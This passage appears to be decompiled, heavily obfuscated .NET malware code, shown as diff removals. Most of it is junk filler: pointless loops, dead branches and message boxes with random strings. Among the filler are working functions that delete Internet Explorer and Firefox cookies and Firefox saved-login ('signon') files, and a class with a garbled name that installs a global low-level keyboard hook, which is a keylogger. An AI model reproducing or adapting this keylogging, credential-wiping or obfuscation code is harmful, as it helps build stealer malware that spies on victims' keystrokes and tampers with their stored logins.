Interaction.MsgBox((object) "„WT†ƒ†WQDŽ‘&FG:9c‡‹€^^O!w{Ksl\u008F„**_>}’^!3p‡;Sˆ\u008F'h„)CG„V(F'R/([wxG)†Žz(O9$…w0jC\u008F,zsu\u0081bl\\8fW‹v`OŒk‹.†I#@_Uƒ>U-EP#*EGHyˆ6n`mHB0kk"); - } - ProjectData.ClearProjectError(); - } - if (false) - { - int num14 = (int) Interaction.MsgBox((object) "m2l251"); - } - checked { ++num10; } - } - while (num10 <= 43739); - goto label_60; - } - } - } - int num15 = (int) Interaction.MsgBox((object) "†W\u0090otLŽ2XFF9]v/’O+pK&O*U=\u008D\u0081$mtQ\u00819omq_Iˆ‘€Ž*~UGR^ƒjF'!g‚'…9WR-.}dˆJD&UAƒt{L5(E? ˆZB3#NI\u007Fe€f~E…V„q0Xˆ+#L(byd>gQzuf9aŠ}\u008Dz6^]r8‚U]‚E[WŠ"); - } - - private object wFg0EWCOThoECT() - { - if (true) - ; - long num1 = 1; - bool flag = false; -label_11: - if (true) - return (object) 692577243; - int num2 = 2784; - do - { - num1 = 40L; - if (false) - ; - if (true) - { - flag = true; - if (true) - ; - } - if (false) - { - int num3 = (int) Interaction.MsgBox((object) "C2lSLk"); - } - checked { ++num2; } - } - while (num2 <= 682875633); - goto label_11; - } - - public void kak0ejLD0M68() - { - int num1 = (int) MessageBox.Show("]i‹mwNA \u008FHw ftVCy9PU:\u008FF‹bb0\\_’VxEX\u008F;}ey.81g@A†\u00902\u0081d=t:1Bmeu5~1VPI@:A’'dsk'.(AŒ‡8E_,Y93{Ug]o-&80N"); - int num2 = 299495757; - while (num2 <= 226067) - checked { ++num2; } - int num3 = 1; - do - { - checked { ++num3; } - } - while (num3 <= 57904297); - if (true) - { - int num4 = (int) Interaction.MsgBox((object) "lUF"); - } - } - - public void DeleteIECookies(bool Enable) - { - if (!Enable) - return; - string folderPath = Environment.GetFolderPath(Environment.SpecialFolder.Cookies); - if (Directory.Exists(folderPath)) - { - try - { - foreach (string file in MyProject.Computer.FileSystem.GetFiles(folderPath)) - { - try - { - MyProject.Computer.FileSystem.DeleteFile(file); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - } - } - finally - { - IEnumerator enumerator; - enumerator?.Dispose(); - } - } - } - - public void DeleteMozillaCookies(bool Enable) - { - if (!Enable) - return; - string str = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + "\\Mozilla\\Firefox\\Profiles"; - if (Directory.Exists(str)) - { - try - { - foreach (string directory in MyProject.Computer.FileSystem.GetDirectories(str)) - { - try - { - foreach (string file in MyProject.Computer.FileSystem.GetFiles(directory)) - { - if (file.Contains("cookie")) - { - try - { - MyProject.Computer.FileSystem.DeleteFile(file); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - } - } - } - finally - { - IEnumerator enumerator; - enumerator?.Dispose(); - } - } - } - finally - { - IEnumerator enumerator; - enumerator?.Dispose(); - } - } - } - - public void DeleteMozillaSignons(bool Enable) - { - if (!Enable) - return; - string str = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + "\\Mozilla\\Firefox\\Profiles"; - if (Directory.Exists(str)) - { - try - { - foreach (string directory in MyProject.Computer.FileSystem.GetDirectories(str)) - { - try - { - foreach (string file in MyProject.Computer.FileSystem.GetFiles(directory)) - { - if (file.Contains("signon")) - { - try - { - MyProject.Computer.FileSystem.DeleteFile(file); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - } - } - } - finally - { - IEnumerator enumerator; - enumerator?.Dispose(); - } - } - } - finally - { - IEnumerator enumerator; - enumerator?.Dispose(); - } - } - } - - public class kjdshfi23ur9fjsdfmiowuf9sods - { - private static List __ENCList = new List(); - private const int HC_ACTION = 0; - private const int WH_KEYBOARD_LL = 13; - private const int WM_KEYDOWN = 256; - private const int WM_KEYUP = 257; - private const int WM_SYSKEYDOWN = 260; - private const int WM_SYSKEYUP = 261; - private static int KH; - private static Form1.kjdshfi23ur9fjsdfmiowuf9sods.KeyboardProcDelegate KHD; - - [DebuggerNonUserCode] - static kjdshfi23ur9fjsdfmiowuf9sods() - { - } - - [DebuggerNonUserCode] - private static void __ENCAddToList(object value) - { - lock (Form1.kjdshfi23ur9fjsdfmiowuf9sods.__ENCList) - { - if (Form1.kjdshfi23ur9fjsdfmiowuf9sods.__ENCList.Count == Form1.kjdshfi23ur9fjsdfmiowuf9sods.__ENCList.Capacity) - { - int index1 = 0; - int num = checked (Form1.kjdshfi23ur9fjsdfmiowuf9sods.__ENCList.Count - 1); - int index2 = 0; - while (index2 <= num) - { - if (Form1.kjdshfi23ur9fjsdfmiowuf9sods.__ENCList[index2].IsAlive) - { - if (index2 != index1) - Form1.kjdshfi23ur9fjsdfmiowuf9sods.__ENCList[index1] = Form1.kjdshfi23ur9fjsdfmiowuf9sods.__ENCList[index2]; - checked { ++index1; } - } - checked { ++index2; } - } - Form1.kjdshfi23ur9fjsdfmiowuf9sods.__ENCList.RemoveRange(index1, checked (Form1.kjdshfi23ur9fjsdfmiowuf9sods.__ENCList.Count - index1)); - Form1.kjdshfi23ur9fjsdfmiowuf9sods.__ENCList.Capacity = Form1.kjdshfi23ur9fjsdfmiowuf9sods.__ENCList.Count; - } - Form1.kjdshfi23ur9fjsdfmiowuf9sods.__ENCList.Add(new WeakReference(RuntimeHelpers.GetObjectValue(value))); - } - } - - [DllImport("user32", EntryPoint = "SetWindowsHookExA", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int SetWindowsHookEx( - int idHook, - Form1.kjdshfi23ur9fjsdfmiowuf9sods.KeyboardProcDelegate lpfn, - int hmod, - int dwThreadId); - - [DllImport("user32", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int CallNextHookEx( - int hHook, - int nCode, - int wParam, - Form1.kjdshfi23ur9fjsdfmiowuf9sods.sadfgbui32yur89usjdf8934rtf lParam); - - [DllImport("user32", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int UnhookWindowsHookEx(int hHook); - - public static event Form1.kjdshfi23ur9fjsdfmiowuf9sods.KDEventHandler KD; - - public static event Form1.kjdshfi23ur9fjsdfmiowuf9sods.KUEventHandler KU; - - public kjdshfi23ur9fjsdfmiowuf9sods() - { - Form1.kjdshfi23ur9fjsdfmiowuf9sods.__ENCAddToList((object) this); - Form1.kjdshfi23ur9fjsdfmiowuf9sods.KHD = new Form1.kjdshfi23ur9fjsdfmiowuf9sods.KeyboardProcDelegate(Form1.kjdshfi23ur9fjsdfmiowuf9sods.KeyboardProc); - Form1.kjdshfi23ur9fjsdfmiowuf9sods.KH = Form1.kjdshfi23ur9fjsdfmiowuf9sods.SetWindowsHookEx(13, Form1.kjdshfi23ur9fjsdfmiowuf9sods.KHD, Marshal.GetHINSTANCE(Assembly.GetExecutingAssembly().GetModules()[0]).ToInt32(), 0); - } - - private static int KeyboardProc( - int nCode, - int wParam, - ref Form1.kjdshfi23ur9fjsdfmiowuf9sods.sadfgbui32yur89usjdf8934rtf lParam) - { - if (nCode == 0) - { - switch (wParam) - { - case 256: - case 260: - Form1.kjdshfi23ur9fjsdfmiowuf9sods.KDEventHandler kdEvent = Form1.kjdshfi23ur9fjsdfmiowuf9sods.KDEvent; - if (kdEvent != null) - { - kdEvent((Keys) lParam.sdicyhsjcjsdnc); - break; - } - break; - case 257: - case 261: - Form1.kjdshfi23ur9fjsdfmiowuf9sods.KUEventHandler kuEvent = Form1.kjdshfi23ur9fjsdfmiowuf9sods.KUEvent; - if (kuEvent != null) - { - kuEvent((Keys) lParam.sdicyhsjcjsdnc); - break; - } - break; - } - } - return Form1.kjdshfi23ur9fjsdfmiowuf9sods.CallNextHookEx(Form1.kjdshfi23ur9fjsdfmiowuf9sods.KH, nCode, wParam, lParam); - } - - ~kjdshfi23ur9fjsdfmiowuf9sods() - { - Form1.kjdshfi23ur9fjsdfmiowuf9sods.UnhookWindowsHookEx(Form1.kjdshfi23ur9fjsdfmiowuf9sods.KH); - // ISSUE: explicit finalizer call - base.Finalize(); - } - - private struct sadfgbui32yur89usjdf8934rtf - { - public int sdicyhsjcjsdnc; - public int scancode; - public int flags; - public int time; - public int dwExtraInfo; - } - - private delegate int KeyboardProcDelegate( - int nCode, - int wParam, - ref Form1.kjdshfi23ur9fjsdfmiowuf9sods.sadfgbui32yur89usjdf8934rtf lParam); - - public delegate void KDEventHandler(Keys Key); - - public delegate void KUEventHandler(Keys Key); - } - - public class MQVqC6Q6YV7Nr4qKLR80CUfU226 - { - [DebuggerNonUserCode] - public MQVqC6Q6YV7Nr4qKLR80CUfU226() - { - } - - private object ONYR5wf4AxmEx214lfi() - { - if (false) - ; - while (true) - { - do - ; - while (true); - while (true) - { - while (true) - { - if (true) - ; - int num1 = (int) MessageBox.Show("{8}$3^)]8 c‘Z’2Dmk?ppLm zk;#\u0090~/p5C\u0081HrUU0kiI:‘‘;17N3…}"); - if (true) - { - try - { - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - while (true) - { - while (false) - ; - if (true) - ; - } - int num2 = (int) Interaction.MsgBox((object) "XJvTV!2U}V|.1to1‡ .]68Œ6K"); - ProjectData.ClearProjectError(); - } - if (true) - { - int num3 = (int) Interaction.MsgBox((object) "M404dMl8ZEF6Fqd"); - } - } - } - int num = (int) Interaction.MsgBox((object) "z8Z?juEV\u007Faez7^d\u0081O1/OV6\\$Ve€NR-.%?\\on O’L+"); - } - if (true) - { - int num4 = (int) Interaction.MsgBox((object) "O9tgSoh28X7g2h0emhl"); - } - } - if (false) - { - int num5 = (int) Interaction.MsgBox((object) "BRqL"); - } - return (object) 68406230; - } - - private void W31JrMSnaqJ() - { - if (true) - ; - while (false) - ; - int num1 = (int) MessageBox.Show("ŒP‰+qzhmˆ/cH…€@cD8C\u0081ypŽbh}D4_’acK),0'OŽIn†Pg[&‘T[KyS{4i\u008De‡aŒgŠwXl9@30GM„8\\FTp47\u007F>sg'G(1Z8RBŽ…\u0081E>ARS^ HT3"); - do - ; - while (false); - try - { - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - int num2 = (int) MessageBox.Show("ŽB!J;`%CN&e\\Z’_6HJŒ1sc.‰Ž_a^‰Š0)Xlq4’Tgu8y,+Q…VK,kakh;R1+Nn’YMV‰\\#\u0081@J7‡v7ŒŒVY‹m*3|>bQ‚P?‡%‹uqLh5ˆ’#6 ˆw}ToAŽ.fV ‡Fd7F+3P HC\u0081}T:`€€aŒi‡2†Zw\u008F3/D‡@b‹€K{Q\u0081}~f6kd"); - ProjectData.ClearProjectError(); - } - if (false) - ; - long num3 = 517255843; - Decimal num4 = 965364456M; - int num5 = (int) MessageBox.Show("N2{*l*Ž.=E=LQm=E€b8\u0090†)Tƒ):PQ….\u0081jHQ‡ˆ]ŠuyPl`*1Q'-8(XN_l†DqŠ!Qm\\<.Ve#’yGz‰€R`9[Irj3B9|iR+o]b7f‰C+‡PRg^N'GƒAba,,m{G7I=KBRX#ZGT6/4’\\Gl|)u4;,ŽH[&„‘cƒzƒN_%sd\u0090Œc$'e"); - num3 = 557501L; - while (true) - { - num4 = 4411M; - num4 = 69299453M; - int num6 = (int) MessageBox.Show("f…W*3'G=&w\u008DX|WX;qD]_*8nPKRŒ-’\u0081\u008D@\u008Dr?'3Z2Tg(<‚i‚8ˆ\\Fe,9(iN6'qt.:>8}m]*8Q(62)Š\u008F\u007Fy\\9#ck;\u0081&…)„ƒ,|PEM}$$\u008FD.p+>OŒ00gRI@4Z*ie\u0090\u008Fgk F`ŽLtw]7Š{}7+EXM~‡‰tUQZ\u007Fg"); - try - { - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - num3 = 7560926L; - num4 = 7M; - num3 = 49707097L; - while (false) - { - while (false) - ; - } - while (true) - num3 = 97273L; - if (false) - { - int num7 = (int) Interaction.MsgBox((object) "WO1B0kWqE4179aig5"); - } - ProjectData.ClearProjectError(); - } - if (false) - { - int num8 = (int) Interaction.MsgBox((object) "Z0TEAkKq"); - } - } - int num9 = (int) Interaction.MsgBox((object) "f/Oyu&_9‘8‘\u0090lŽG~ŠaZ~vE9)!$i8VŠŽB†X|Š|nG)Pz†C~h^-ˆm‡SLT-@‰FwpOFu&LY\\C|[‰RK[!U‰im*%\u007F&0^I\u008DXkj9Ž&1\u0081 (J6…#Œ#uxi|jO_EdvC‰e‚.\u00810a}0KA\u008DL9l M_Rz&+{CJ‡`C)+Dh8u:<0\u008D\\&D8{kT"); - } - - private object ze128t5TBtz() - { - bool flag = false; - while (true) - ; - int num1 = 16297698; - Decimal num2 = 167762816M; - string str1 = "‚Uo+S†Nf|{wCHLThwJ8M>tR2x‰Še>PVgeHwNWƒsJ\u0090QpC.e|e?%iu;~5=.q\u007F4&}5c{0p g&0‡i\u0081P\u007F"; - Decimal num7 = 3M; - int num8 = 6430468; - double num9 = 8.0; - int num10 = 497969210; - while (num10 <= 0) - { - while (false) - { - str1 = "jfOtb4ej1HxS09ahA0ro1OePZJF6TC7MlIk2tk7V1r1CZVi9RE7VY2p2kPLkCNy35c91VxamTAE6QXogKAWtag71vp7U7D95f04ELd6"; - int num11 = 21800; - do - { - checked { ++num11; } - } - while (num11 <= 4469932); - int num12 = (int) MessageBox.Show("\\~‰AR*\u007F‰\\RAˆp`>Ž;|-Qa’.yAO,5@A_PM8kI3^VC†`r€.;\u00815Gmt!„4z]o0’\u0090ih:†„[Wˆ‡{pF|^!?A"); - while (false) - { - str1 = "SwpwNzL7yifW5rbPKhM7x2xVZ48FqXZez8PdS5WXmlq3E5ylu5I5pe57Ety7Jx11MLT09TNrXGs50U8g24o5lN1t904onyzvV0yPQ048n7Plj9VMEALB12616yP6kgFii5"; - flag = true; - flag = true; - try - { - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - num2 = 389501870M; - num3 = 8606.0; - num1 = 59; - num3 = 932.0; - ProjectData.ClearProjectError(); - } - if (false) - { - num4 = 1787.0; - num9 = 347.0; - flag = true; - str1 = "MC6v32j5q1w37U9OxqxP58k92kx49FtTL52PhWV314USC4aF"; - num8 = 0; - if (false) - { - if (false) - { - str2 = "g3E6tELk10DPxIwgGLCVdRnqde68323MA8yQ8eQXr2MpHxX36"; - if (false) - ; - flag = false; - num6 = 1; - num7 = 1517562M; - if (false) - ; - flag = true; - while (true) - ; - int num13 = 86016; - do - { - try - { - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - num3 = 2457.0; - checked { ++num13; } - } - while (num13 <= 7495034); - while (true) - { - int num14 = 8; - do - { - num4 = 1114329.0; - checked { ++num14; } - } - while (num14 <= 8954462); - int num15 = (int) MessageBox.Show("€yEˆx(]‚( $H^s4‹ˆ\u007FTN)orbkKRƒ\u007FXWABh)t‰A…4QM4$(W\u0081bQ<7t%MZb\u0081\u008DI89@Mp>+‰{ŽWz^pri.QI53\\ƒQc@v;"); - while (true) - num6 = 9499055; - flag = true; - } - num3 = 846187413.0; - str2 = "e9Pm2KsDbr865N27RHT1femqwj1AERdkgXtTHNSFO141dXc412lW7SR5AwJcxl2Fo1W7aDcTl4vJp46PvN6dUfL37HtuLmI87n677VaD42wSIKBWNI2e2qvhKqmAyrmwl99QOjqJ9SlOH863l9LeZbWv94YeFjM310gNDl2k0X2QV82PFXLKfBZA1dWm"; - } - } - flag = true; - flag = false; - num5 = 8M; - num3 = 8349.0; - int num16 = (int) MessageBox.Show("~H:‡XjM9Zm_fwP+FY?M]ir.H…t‰ƒ?‡\u008F{U4ct_Z'i†DoWQj_p@J^Žpe„Xˆvt]\u008Depw1b€Jy‘7wiEkEU*J2‘]P\u007Fwbq;iWD‡IJ)z=?'qFZKG7&@‚\u0081c_kJJŽ(?‹L ../Z†‚@\u008D‹‚(6l\u007FV1)hpB‚M&Šk\\’N!ZE…'c7K„SGyE‰‘ZIhr]X"); - if (false) - { - num5 = 326M; - num2 = 4132M; - int num17 = (int) MessageBox.Show("&mj‰Mi_!wuFF[ 7[\u007Fg\u007Ft,ew1z‘P?Q4ŒwzZH3^\\Sy!Rf‘0zA!Xk22g$\u008D'…xek.tE`LbtX‚HA*K;rl’x ’oOzxz/v`A@xŠ{j?-&d`&{20J'zKE@(-weŽr\u008D_^fR\u0090‹a'[3bdR^‹4RŒ‡D„zp}l\u0081v_vlK*sm8bzNqV$KmA‡D}tD‰ƒ{X\\\u0090#[$m‚lCNˆs)\u008D_\u008D|0\u008D]nXoKXS\\Wl^hBvT$o\u008Flqr>4c-\u008DV\u0090/aˆQrjx<^unCUC6‡_I#}ˆƒ‘0Q;>ZˆaQ!ULˆv,‰k\u00908YŒAH&enu)dX\u007F3HrnDZ\u0090'\u0090F’ n n^’3X‚7oiX*=B O'LOqyO*F\u008F@j$9r-E$b&‰/uˆ,ihVr:d'8\u008Fj‰ŒbA‡cd8#…€}‘\u008F[2&m;)@DVC'1ŒJ+J9R(a|4uunVE‰r#>~jY6'^M\u008F…JdU?9vj9,klNuO3GPC‘xwI"); - } - flag = false; - num6 = 8; - num6 = 210172; - num3 = 226214170L; - int num12 = (int) MessageBox.Show("L{3tGk &Fi†? 4]]ky@v?P’f:-zq’*+u*`JL_\u008F7l%Ž"); - if (false) - num4 = 6.0; - if (true) - ; - num7 = 3979.0; - try - { - } - catch (Exception ex3) - { - ProjectData.SetProjectError(ex3); - ProjectData.ClearProjectError(); - } - if (true) - ; - num2 = 147M; - } - num2 = 7331M; - int num13 = 220317483; - while (num13 <= 2102) - { - num2 = 32317M; - if (false) - ; - while (true) - { - num2 = 293950M; - if (false) - ; - num3 = 3524L; - int num14 = (int) MessageBox.Show("‚/$„}=`QxP"); - if (true) - flag = true; - while (false) - { - str = "Qof9iMP29jc12180UH963Th6V"; - num6 = 0; - num2 = 748M; - } - flag = true; - flag = true; - } - int num15 = (int) Interaction.MsgBox((object) "oYj)Gm8MtrBk*i$'‚;T#g\u0090q]BN5Œ/ƒ@d(%B^~ef=+Vu‡"); - checked { ++num13; } - } - checked { ++num10; } - } - while (num10 <= 78); - if (true) - { - int num16 = (int) Interaction.MsgBox((object) "Cks19hWsbmGf1"); - } - ProjectData.ClearProjectError(); - } - ProjectData.ClearProjectError(); - } - } - } - if (false) - { - int num17 = (int) Interaction.MsgBox((object) "bFOq1BJbB9p"); - } - } - - private void u6kXyYi4rIOPuIh32eDM3c() - { - if (false) - ; - Decimal num1 = 1000M; - Decimal num2 = 68868309M; - bool flag1 = true; - double num3 = 68790.0; - double num4 = 17945.0; - int num5 = 175; - do - { - checked { ++num5; } - } - while (num5 <= 96669); - int num6 = (int) MessageBox.Show("QŠ†,=$c>Qa|\u0081G(RiR‘G[SX''yqA0gI=qSC%J~jSd1G70##c@l_Ž~T*7Œ‚\u007FF^uSj(C*M$#'~{]vI,A‰#v-!V'MR‰%4^|z„MkB.Xq0l- +Hs†ŒO|‘4nF&x…i‹^E\u008Fg-A^})i\u0081†\u007F]c1a#{IVJ\u008FhJ_g,"); - } - } - - public class B5307U4ECs5lSp1FxhXNh9Ag - { - [DebuggerNonUserCode] - public B5307U4ECs5lSp1FxhXNh9Ag() - { - } - - private void GQPjC1OaXX39M6gDG8() - { - string str1 = "ph&VeYKŽ!Ž`5qL.g`ˆKo)Q_5{…Q2VUUc`‡:Fa>V…f4',0Rt_=}{^*u€?)ƒms'8X^X\u0090h|1z&BQX(ˆJS%I1…ˆlmŠX}&Ž2$r\u007FhQSw^].* ;h\\uJ*Tz‰2n=&\u007FGy;VT@‡;*./ƒAJH„Thk€8P\\'cw*V;…#bbe,\u0090C'm},’]MeZ{)"); - ProjectData.ClearProjectError(); - } - num2 = 0L; - try - { - } - catch (Exception ex4) - { - ProjectData.SetProjectError(ex4); - num2 = 543360591L; - num1 = 916163981.0; - num2 = 430261L; - num1 = 6779.0; - ProjectData.ClearProjectError(); - } - ProjectData.ClearProjectError(); - } - bool flag = true; - while (false) - { - while (false) - { - str1 = "rfrqnoc9Gg11IlDohaf7uDc7Tz0531ChZ26ar1OfuHloTBqmUOS6QiUl6336k059F2zQ5V2MPR2w3S965D28clZeL0AWdD38m4C94U1a9iWYis7ES7FB8w2Oiv5tX7zYyyZ55jlGYOeqCeku4y2Mw3GT6s5gx1tMSa1wtNBv7S7F2ucR4Ih7SAa5Aqmk4"; - flag = false; - num1 = 2438.0; - } - try - { - } - catch (Exception ex5) - { - ProjectData.SetProjectError(ex5); - while (false) - { - if (false) - ; - num2 = 0L; - int num4 = (int) MessageBox.Show(">ncy(.&g;‚<;BF{\u0090w^J7RT‰aWk€Z**,V$K†+A„F4mc\u00814†g48UR-]OY|x!BOA^\\0ux7ŠRxˆVl$#w„'Lc$lBgk’Œg„)='‘T%h0S,OoptR`\u008FSXLu‹pgqKg<‡Wv~b%HZ\u0081W8‘MfQŽ\u0090‡GŠ‚'o_S;/1_R?(PL;ŽHc,jL‹rW:Z’.Zuj}$oM€{7JG‰7\u008DO7/` KVe"); - flag = false; - try - { - } - catch (Exception ex6) - { - ProjectData.SetProjectError(ex6); - while (false) - { - if (false) - { - str1 = "j02GP"; - while (false) - { - int num5 = (int) MessageBox.Show("q\u0090%XPFUaP\u0081ˆ:Qj3‚\u008F]^†AasRFe‚&uVS!Z@#…6q\u008F€{O!'Žat’a}u#QsW0=e2}WN~\u008DM‡r0gAl>ap+„_kVwƒ‚W‹tPbz|†hc^1ILd'm&‚dK@0VUtgecd/NŒgŠ†8\u0090E‹Ftk(rOGq@X‘Oˆ?W7z=\u008D\u008127B#T07uUq\u0081ot"); - int num6 = 46; - while (num6 <= 8) - { - str1 = "gF9zz6v"; - checked { ++num6; } - } - if (false) - ; - while (false) - num2 = 0L; - while (true) - str2 = "yv6Pr72Q50E8pP63Z82SipyeX9kL5jn869e5Cu3NVx7"; - int num7 = (int) MessageBox.Show("ˆ\u008F)e-g]%‘aŒq0^‚7>\u0090\u008FjgxK€x\u0090L:F€Tik…zNOU0ƒŽn4=Bzza`rqg‡ 4/c<\u007F0:Bq0-C&=wT{{€+nŒc.^\u00905~mg.€ujqj}3h ik\u008F$0‘t\\|+Š‰y{D:^Up‚\u008DOh*B`N_,ig3\u007FU#\u008F_\u0090_;l!ao8&\u008DFV,HUy%9#…!‚QF\u0090pTCu\u008D"); - num2 = 5L; - do - ; - while (true); - str2 = "pYIZW42"; - str1 = "MQ62YtRhd0wvB7DROW04UEh2580L4s298nqjHSizP7H2r21u2o224kL6Kfen2W32f48Z595Y2Hlrw5Vq37j3MXt3D4Ke10R01J4muEMVIb1i63pN23lp44jI0UT"; - num2 = 19192249L; - } - flag = false; - str3 = "vP5lEuhuuvFOXtIMM98HLqLSPmZLoXRYCynOe85Wso5gNEkLPg3vcVL0KkSNi8WAH1Z1P5p721TLaoorA96IeR60aX92F0kt3n01O8n6POt1O590j4LIWlCqcUAFj"; - str2 = "qH3pxrG91S16N89Ph531lgoJoZrk6Hsk9WiPwM6OlkdV41O80oe1soxeq0g639yuG7O"; - } - int num8 = 35702; - do - { - int num9 = (int) MessageBox.Show("=VkCO:W\u008F@/UsT:0\u0081\u0081jm>(f&|7€GssE‰\u008D)2(gI\u0081:ŽOl-[%$\u007F\u008D.‹Wm†ErjO‚,a†w;\u008D9[jB1[X Pq\u0081NX]v2 Lez\u0081;&vSQ7Ytk'kQ2B\\M]{eSV=4WC1„+\u008DaY1S,\u0090U‡‚sC‘>xj5\u0090E;9xVc GK‘„>/?EMz*`Z\u0090&E'Yn("); - str1 = "hvwC1S5szm00XH58Mz45zj3m9i74is9KfmR9B6iYrv4L8m96268FQU1IPAmbD3lIF1mTf2fo0H7F8qV5rqW7khgzghVmTnN6g7"; - while (false) - { - if (true) - ; - str3 = "avM1WK9lIu86475xlS852RS8Sd9BVQflC"; - try - { - } - catch (Exception ex7) - { - ProjectData.SetProjectError(ex7); - ProjectData.ClearProjectError(); - } - int num10 = (int) Interaction.MsgBox((object) "&JsClr},ƒ*^{f1`XˆQg3:weZ0_ˆ†^i{h‚g\u008FŒ€…/8>)/&q‘c=Kd4|:29Bw93-}‰`:BˆŒ‘4fj#BN‡1h_|1Žk[ŒU‘MoNl4fqP"); - } - int num11 = (int) Interaction.MsgBox((object) "‡v{%e(w\u008D1Y~='m8P31NfxCZvt‡$_yz)mA"); - checked { ++num8; } - } - while (num8 <= 149981); - int num12 = (int) Interaction.MsgBox((object) "gG\u008Fw$ƒ)8|')qI'pcR_9^\u0090_5*HWˆ&\u007FE)ERˆsKGc‘a‘>Toj5nX)7j.'up(2…O_\u008DMV\u0090v>SGE;‚`k_r+YR3{P\u0090hnŽ>p8k8U3Qf\u008F…\u0090q‡‰:0vŽz`O5‘\u008FkR6\\jaFjMh'R\u0090\u0090~\u008D!Wq=‹ zŽ%}=‚iv\u008FF7…UŽ;Wq(\u0081z;s{UvRiX‡*f%r\u008DV;W\u007FCW!ils:+[ƒr]yiO0x'3b'~80\u0081"); - if (true) - { - num1 = 4804747L; - while (false) - { - try - { - } - catch (Exception ex1) - { - ProjectData.SetProjectError(ex1); - int num4 = 482428; - while (num4 <= 2) - checked { ++num4; } - do - ; - while (true); - while (true) - { - num1 = 1L; - try - { - } - catch (Exception ex2) - { - ProjectData.SetProjectError(ex2); - ProjectData.ClearProjectError(); - } - } - ProjectData.ClearProjectError(); - } - int num5 = (int) MessageBox.Show("q#(}YG&GŽM,\u008FRF‚„&2€Pw8mKSM‚BjuPKj\\=‚p_\u007F‹LVsD \u0090\\\u008Dl\u008F\u008FOCM„D„e*AW/1AsX\u0081U(a#g WJtŒ'ROFG‘xS\u008FG/K]~OS]T{Y\u008FXeiFˆe&†:G 3?htŒz…l7BUzx: H8q(/*ŽuC S^„SS5[ƒ‰X}i8~Wˆ\u007Fw60\u0081`mdpn[?ƒ)D†qsX< 9w,ŒŠ‚u5r …d"); - int num9 = 5090681; - while (num9 <= 2278) - { - while (true) - { - do - ; - while (true); - try - { - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - } - try - { - } - catch (Exception ex3) - { - ProjectData.SetProjectError(ex3); - int num10 = (int) MessageBox.Show("OG^jQST[ŒixpŽw3ytD7?9c\u008DA,-QurƒntƒV.Rmk"); - try - { - } - catch (Exception ex4) - { - ProjectData.SetProjectError(ex4); - int num11 = (int) MessageBox.Show("€@?{]ƒY\\AS;/*PirUh!JN€?xN\u0090*@C0ˆ_nZxES‘^‚L\u007Fn6‘v!†z^<"); - while (false) - ; - ProjectData.ClearProjectError(); - } - ProjectData.ClearProjectError(); - } - checked { ++num9; } - } - int num12 = (int) Interaction.MsgBox((object) "Z$$U/hŒv\u008D(‹\u008D-;[\u008F&&3-z,za6+B30r<Œ38].p€R\u0090d1t}`‹$QŒqV\u008FL;|N'ƒ:R<@`‹N/„9aNj~^Y\u0090a2/s_Q=G7q3#?U!ŽU^2‘^Q"); - } - } - } - int num13 = (int) Interaction.MsgBox((object) "2’f(g>VˆB)yIPqH`C{B‘ihK|p81ŒDskN\u0081P9\\~&oIm.(\\HBcJ|sr,tG8\\f}KN-\\dbQJZ X\u007Ft<+‹C[`‚SNhz0c ^mZ7p‰ nA<1\\X+‘zc…\u008F’V!{$p\u008FvI\u0090xEL!b…o {z‰sa|o2‘'wTf%‡3d]\\…VZs2ip\\‰x[‰8Ayz*&>‡8,„q‡’‡IsP8"); - } - int num14 = (int) Interaction.MsgBox((object) "H|]A'v)ƒ@xMV1^3€="); - return (object) 4438625; - } - - private object QUu134c() - { - string str1 = "W?€K@nmdvz}1dLR,`(q’~E…T T~TC {q\u007F[S'j‚Vx&‹r\u007F@Œ}jc\u007F‹2…Gp2MKK~ƒ9@v’,D)ŒKUqeŒ‹†f&4&i3ƒV(h\u007FW}@m>Vj‡€jŽ\u007F4gtq8"; - int num1 = 8; - int num2 = 0; - double num3 = 81.0; - string str2 = "8JSJ-%D!\u008Fx-€6\u0081†g}[f`Z_„(USˆf~E\\w‡o"; - num3 = 20.0; - num2 = 95676; - long num4 = 65851; - int num5 = 6152225; - while (num5 <= 7932) - checked { ++num5; } - while (true) - num2 = 174; - bool flag = false; - long num6 = 48118889; - long num7 = 7148163; - do - ; - while (false); - num3 = 2167.0; - num3 = 5.0; - string str3 = "\u0081N~kQ3"; - long num8 = 746; - while (true) - { - num3 = 9.0; - num8 = 7460069L; - int num9 = 713; - do - { - num1 = 43; - int num10 = 40198261; - while (num10 <= 2753) - { - while (false) - ; - checked { ++num10; } - } - checked { ++num9; } - } - while (num9 <= 1568); - num3 = 27716839.0; - while (false) - { - while (false) - { - if (true) - ; - num3 = 4.0; - num1 = 96; - num3 = 542.0; - } - num2 = 0; - if (false) - ; - int num11 = 138732; - while (num11 <= 52) - { - while (false) - { - flag = false; - num3 = 692995.0; - flag = false; - } - while (false) - { - str2 = "uh39lBSA2aXe4RC6z8936IpKSv58LMA36h2"; - num6 = 1L; - num3 = 497.0; - if (true) - ; - } - while (false) - { - str3 = "nqAtqk65WrKti5wo1Cajh1M5753KTXYTVpv9FYgblxZ6787MFKF06PJ8CrFeS81M72B3qMem1vpYvjdNwisfZRCxGTgJvl53r7h0j3n4MFL327E"; - num3 = 80066985.0; - flag = false; - num4 = 33L; - } - num4 = 10L; - while (true) - num3 = 10.0; - num8 = 4L; - while (false) - { - while (true) - { - if (false) - { - if (true) - ; - flag = true; - num1 = 90; - num4 = 37281L; - } - } - str1 = "m12fb14sV8wW6GKr31OwFSOLXq17AFJYeM4tW2mkoD8Ta2jvHEu6uunUt6AS"; - str3 = 